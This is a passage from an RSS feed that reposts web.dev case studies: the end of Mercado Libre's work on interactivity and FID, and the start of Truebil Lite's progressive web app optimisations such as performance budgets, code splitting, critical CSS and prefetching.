https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/tlMIQRWDAeEY7UV4cFQo.png?auto=format&w=1600 1600w" width="800" />
   <figcaption>
      The Waterfall (not pictured) helped Mercado Libre identify which libraries were using the main thread heavily (<b>Browser Main Thread</b> row) and the <b>Page is Interactive</b> row clearly shows that this main thread activity is blocking interactivity.
  </figcaption>
</figure>
<p>Based on that information they decided to implement the following changes:</p>
<ul>
<li>Continue reducing the main bundle size to optimize compile and parse time (e.g. by removing
duplicate dependencies throughout the different modules).</li>
<li>Apply <a href="https://web.dev/reduce-javascript-payloads-with-code-splitting/">code splitting</a> at
component level, to divide JavaScript in smaller chunks and allow for smarter loading of the
different components.</li>
<li>Defer <a href="https://developers.google.com/web/updates/2019/02/rendering-on-the-web#rehydration" rel="noopener">component
hydration</a> to
allow for a smarter use of the main thread. This technique is commonly referred to as <a href="https://addyosmani.com/blog/rehydration/" rel="noopener">partial
hydration</a>.</li>
</ul>
<h2 id="measure-impact-2">Measure impact <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#measure-impact-2">#</a></h2>
<p>The resulting WebPageTest trace showed even smaller chunks of JS execution:</p>
<figure>
  <img alt="Main thread view of Mercado Libre&#x27;s product detail pages after secoond round of optimizations." decoding="async" height="150" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/gAvo2VXimablQ8OhFDdn.png?auto=format&w=1600 1600w" width="800" />
</figure>
<p>And their Max Potential FID time in Lighthouse was reduced <strong>by an additional 60%</strong>:</p>
<figure>
  <img alt="Lighthouse metrics in a PSI report for Mercado Libre&#x27;s product detail pages after first round of optimizations." decoding="async" height="345" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/7W672LOor2SgqZsmK3BL.png?auto=format&w=1600 1600w" width="800" />
</figure>
<h2 id="visualize-progress-for-real-users">Visualize progress for real users <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#visualize-progress-for-real-users">#</a></h2>
<p>While laboratory testing tools like WebPageTest and Lighthouse are great for iterating on solutions
during development, the true goal is to improve the experience for real users.</p>
<p>The <a href="https://developer.chrome.com/docs/crux/" rel="noopener">Chrome User Experience
Report</a> provides user
experience metrics for how real-world Chrome users experience popular destinations on the web. The
data from the report can be obtained by <a href="https://web.dev/chrome-ux-report-bigquery/">running queries in
BigQuery</a>,
<a href="https://pagespeed.web.dev/" rel="noopener">PageSpeedInsights</a>, or the <a href="https://web.dev/chrome-ux-report-api/">CrUX
API</a>.</p>
<p>The <a href="https://datastudio.google.com/c/datasources/create?connectorId=AKfycbxk7u2UtsqzgaA7I0bvkaJbBPannEx0_zmeCsGh9bBZy7wFMLrQ8x24WxpBzk_ln2i7" rel="noopener">CrUX
dashboard</a>
is an easy way to visualize the progress of core metrics:</p>
<figure>
  <img alt="." decoding="async" height="163" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format" srcset="https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/3bUj9l2ISMr3mojaUG4o.png?auto=format&w=1600 1600w" width="800" />
    <figcaption>
      Mercado Libre's FID progress between Jan 2020 and April 2020. Before the optimization project, 82% of the users were perceiving FID as fast (below 100ms). After, more than 91% of the users were perceiving the metric as fast.
    </figcaption>
</figure>
<h2 id="next-steps">Next steps <a class="w-headline-link" href="https://web.dev/how-mercadolibre-optimized-web-vitals/#next-steps">#</a></h2>
<p>Web performance is never a finished task, and Mercado Libre understands the value these
optimizations bring to their users. While they continue applying several optimizations across the
site, including <a href="https://web.dev/instant-navigation-experiences/#production-cases">prefetching</a> in
product listing pages, image optimizations, and others, they continue adding improvements to product
listing pages to reduce Total Blocking Time (TBT), and by proxy FID, even more. These optimizations
include:</p>
<ul>
<li>Iterating on the code splitting solution.</li>
<li>Improving the execution of third-party scripts.</li>
<li>Continuing improvements in asset bundling at the bundler level
(<a href="https://webpack.js.org/" rel="noopener">webpack</a>).</li>
</ul>
<p>Mercado Libre has a holistic view of performance, so while they continue optimizing interactivity in
the site, they have also started assessing opportunities for improvement on the other two current
<a href="https://web.dev/vitals/">Core Web Vitals</a>: <a href="https://web.dev/lcp/">LCP (Largest Contentful Paint)</a>
and <a href="https://web.dev/cls/">CLS (Cumulative Layout Shift)</a> even more.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Truebil made the web its channel of growth]]></title>
<description><![CDATA[About #
Founded in 2015, Truebil is an Indian online marketplace that sells 100% certified used cars. With over 1.4 million monthly active users, it's a one-stop solution that includes title transfer, insurance, loans, and service warranties. Prospective customers can see individual product pages...]]></description>
<link>https://tsecurity.de/de/1725704/web-tipps/how-truebil-made-the-web-its-channel-of-growth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1725704/web-tipps/how-truebil-made-the-web-its-channel-of-growth/</guid>
<pubDate>Thu, 08 Dec 2022 19:45:06 +0100</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2 id="about">About <a class="w-headline-link" href="https://web.dev/truebil-lite/#about">#</a></h2>
<p>Founded in 2015, Truebil is an Indian online marketplace that sells 100% certified used cars. With over 1.4 million monthly active users, it's a one-stop solution that includes title transfer, insurance, loans, and service warranties. Prospective customers can see individual product pages with images and detailed inspection reports and get vehicle evaluations with the site's &quot;Compare&quot; and &quot;Truescore&quot; features. Truebil differentiates its product with rich features, including personalized recommendations based on machine learning, an add-to-favorites feature, a share-a-car feature, and more.</p>
<h2 id="challenge">Challenge <a class="w-headline-link" href="https://web.dev/truebil-lite/#challenge">#</a></h2>
<p>Truebil is a lean startup with low-frequency, high-value transactions, so it was critical to choose the right platform to prioritize and invest in.</p>
<p>Truebil identified mobile as their target platform, and they chose the web for their first app, <a href="https://m.truebil.com/" rel="noopener">Truebil Lite</a>, because of the web's easy discovery and low friction. Web technology provides lower development costs, less data and memory usage, and significantly lower customer acquisition costs than building an Android/iOS app. And by building a progressive web app (PWA), Truebil could get all the perks of the web <em>and</em> the benefits of iOS/Android.</p>
<h2 id="solution">Solution <a class="w-headline-link" href="https://web.dev/truebil-lite/#solution">#</a></h2>
<p>An in-house team took four months to develop Truebil Lite using React, Django, and Preact (for production migration). They set clear guiding principles for the web app based on user goals. The experience had to be:</p>
<ul>
<li><strong>Fast</strong> on first load and subsequent navigations,</li>
<li><strong>Reliable</strong>, independent of the user's network or device constraints, and</li>
<li><strong>Engaging</strong>, especially for small mobile screens, so users would want to return to it.</li>
</ul>
<h3 id="optimize-for-fast-first-load-and-navigations">Optimize for fast first load and navigations <a class="w-headline-link" href="https://web.dev/truebil-lite/#optimize-for-fast-first-load-and-navigations">#</a></h3>
<p>Using <a href="https://developer.chrome.com/docs/lighthouse/overview/" rel="noopener">Lighthouse</a> to guide performance optimizations, the team adopted a performance-first culture while implementing new features. Truebil was able to significantly improve user experience by prioritizing the <a href="https://web.dev/fcp/">First Contentful Paint</a> and <a href="https://web.dev/tti/">Time to Interactive (TTI)</a> metrics and optimizing for fast first loads, repeat visits, and smooth navigation. The team achieved those results by setting performance budgets and using a variety of techniques to achieve them.</p>
<h4 id="set-performance-budgets">Set performance budgets <a class="w-headline-link" href="https://web.dev/truebil-lite/#set-performance-budgets">#</a></h4>
<p>With a performance-first mindset, the Truebil team chose to architect their experience as a single page app with server-side rendering for first load and client-side rendering for subsequent loads. Keeping web apps with client side rendering performant can be difficult, so Truebil set very strict <a href="https://web.dev/fast#set-performance-budgets">performance budgets</a> to ensure they don't compromise on speed, especially as they add more features.</p>
<p>The team set strict milestone-based budgets for TTI with the goal of keeping it below five seconds. To meet that goal they manually ensured no build would exceed a 250 KB JavaScript bundle size, kept a constant check on image sizes, and continually tracked the app's Lighthouse performance score.</p>
<h4 id="optimize-javascript-bundles">Optimize JavaScript bundles <a class="w-headline-link" href="https://web.dev/truebil-lite/#optimize-javascript-bundles">#</a></h4>
<p>The team started with the basics by using the <a href="https://web.dev/apply-instant-loading-with-prpl">PRPL pattern</a> to precache and optimize JavaScript payloads and by moving to HTTP/2 to serve critical JavaScript bundles.</p>
<p>To lazy-load non-critical resources, they used their framework-level lazy-loading components to load below-the-fold fragments.</p>
<p>To remove any JavaScript bundle bottlenecks, the team <a href="https://web.dev/reduce-javascript-payloads-with-code-splitting">reduced payloads via code splitting</a>. They used component- and route-based chunking to reduce main bundle size and <strong>improve their loading time by 44%,</strong> with TTI falling from 6 seconds to about 5 seconds and <a href="https://developer.chrome.com/docs/lighthouse/performance/first-meaningful-paint/" rel="noopener">First Meaningful Paint (FMP)</a> from 4.1 seconds to 3.6 seconds.</p>
<figure>
  <img alt="Screenshots of Chrome DevTools showing Truebil Lite&#x27;s build size before and after code splitting." decoding="async" height="350" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/admin/BHIhtRrQcc2Ec22vLYtT.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>Impact of reducing chunk size.</figcaption>
</figure>
<h4 id="inline-critical-css">Inline critical CSS <a class="w-headline-link" href="https://web.dev/truebil-lite/#inline-critical-css">#</a></h4>
<p>To further improve FMP, the team used Lighthouse to find opportunities for and validate the impact of performance optimizations. Lighthouse indicated that reducing render blocking CSS would have the biggest effect, so Truebil inlined all critical CSS and <a href="https://web.dev/defer-non-critical-css">deferred non-critical CSS</a>. This technique <strong>reduced FMP by around 2 seconds</strong>.</p>
<figure>
  <img alt="Screenshots of Chrome DevTools showing Truebil Lite&#x27;s time to First Meaningful Paint before and after inlining CSS." decoding="async" height="496" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/admin/GnQDJz27SuLuLgdvM6Q3.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>Impact of inlining critical CSS.</figcaption>
</figure>
<h4 id="avoid-multiple,-costly-round-trips-to-any-origin">Avoid multiple, costly round trips to any origin <a class="w-headline-link" href="https://web.dev/truebil-lite/#avoid-multiple,-costly-round-trips-to-any-origin">#</a></h4>
<p>To mitigate overhead from DNS and TLS, Truebil used <a href="https://developer.chrome.com/docs/lighthouse/performance/uses-rel-preconnect/" rel="noopener"><code>&lt;link rel=&quot;preconnect&quot;&gt;</code></a> and <code>&lt;link rel=&quot;dns-prefetch&quot;&gt;</code>. This approach causes the browser to complete the TLS handshake as soon as possible on page load and pre-resolve cross-origin domain names, allowing for a secure, snappy user experience.</p>
<figure>
  <img alt="Screenshots of Chrome DevTools showing the effect of rel=preconnect." decoding="async" height="350" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/admin/e1taLW99INISJAsEP0xe.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>Impact of adding <code>&#60;link rel=preconnect&#62;</code>.</figcaption>
</figure>
<h4 id="dynamically-prefetch-the-next-page">Dynamically prefetch the next page <a class="w-headline-link" href="https://web.dev/truebil-lite/#dynamically-prefetch-the-next-page">#</a></h4>
<p>By analyzing their data, the team identified the most common user journeys that they could optimize for. In these cases, the app dynamically downloads the next page resource by using <code>&lt;link rel=prefetch&gt;</code> to ensure smooth navigation for users. While the team manually identifies the links to prefetch, they use webpack to bundle the JS for those links.</p>
<figure>
  <img alt="Screenshots of the Truebil Lit app and Chrome DevTools showing that network requests aren&#x27;t needed on common navigations because the assets have already been prefetched." decoding="async" height="1006" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/admin/fuxD2hQlNcTPKUHMQpN2.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>The effect of prefetching assets for common user journeys.</figcaption>
</figure>
<h4 id="optimize-images-and-fonts">Optimize images and fonts <a class="w-headline-link" href="https://web.dev/truebil-lite/#optimize-images-and-fonts">#</a></h4>
<p>Images are a critical part of Truebil's product experience and credibility, with each product listing including up to 40 pictures. To ensure that images do not block page load, the team chose to <a href="https://web.dev/image-cdns">serve all their resources from a CDN</a> and use <a href="https://imagemagick.org/index.php" rel="noopener">imagemagick</a> for image optimization. They also Gzipped all compressible resources, including images, JavaScript, and CSS, to further cut down load time.</p>
<p>To <a href="https://web.dev/avoid-invisible-text">avoid a flash of invisible text</a> while keeping load time as low as possible, Truebil set up their CSS to use system fonts as a fallback until external fonts have loaded.</p>
<h4 id="further-optimizations">Further optimizations <a class="w-headline-link" href="https://web.dev/truebil-lite/#further-optimizations">#</a></h4>
<p>When the app was ready, the team wanted to further reduce the vendor bundle size and JavaScript execution time, so they switched their React app to Preact in production. (Learn more in the <a href="https://web.dev/react">React</a> collection.) This approach helped them reduce the vendor bundle size from 82.3 KB to 51.2 KB.</p>
<h3 id="build-in-reliability">Build in reliability <a class="w-headline-link" href="https://web.dev/truebil-lite/#build-in-reliability">#</a></h3>
<p>With a focus on the Indian market, a vast majority of Truebil's users access their product on patchy networks that sometimes fall into bandwidths as low as 2G. So building a resilient experience was critical not only to improving performance under constrained network conditions but also to delivering a product that their users could rely on—one that <em>always</em> works.</p>
<h4 id="a-hybrid-caching-strategy-for-reliable-loading">A hybrid caching strategy for reliable loading <a class="w-headline-link" href="https://web.dev/truebil-lite/#a-hybrid-caching-strategy-for-reliable-loading">#</a></h4>
